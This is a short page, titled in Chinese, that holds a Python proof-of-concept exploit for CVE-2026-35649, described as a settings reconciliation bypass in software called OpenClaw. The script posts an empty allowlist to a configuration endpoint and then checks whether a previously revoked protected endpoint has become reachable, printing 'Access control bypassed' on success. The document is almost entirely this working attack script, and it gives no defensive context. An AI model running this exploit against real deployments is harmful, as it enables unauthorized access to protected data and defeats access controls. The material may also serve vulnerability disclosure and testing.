CVE-2026-35649 OpenClaw设置协调绕过漏洞

import requests # PoC for CVE-2026-35649: OpenClaw Settings Reconciliation Bypass # This script demonstrates triggering the vulnerability by setting an empty allowlist. def exploit(target_url): headers = {"Content-Type": "application/json"} # Payload containing an explicit empty allowlist # The application treats this as 'unset' during reconciliation payload = { "allowlist": [], "setting_type": "access_control" } try: print(f"[*] Sending empty allowlist payload to {target_url}") response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Configuration accepted. Check if access is restored.") # Verify access by attempting to access a previously revoked endpoint verify = requests.get(f"{target_url}/protected/data") if verify.status_code == 200: print("[+] Exploit successful: Access control bypassed.") else: print("[-] Exploit failed: Access still denied.") else: print(f"[-] Request failed with status code {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8080/api/config" exploit(target)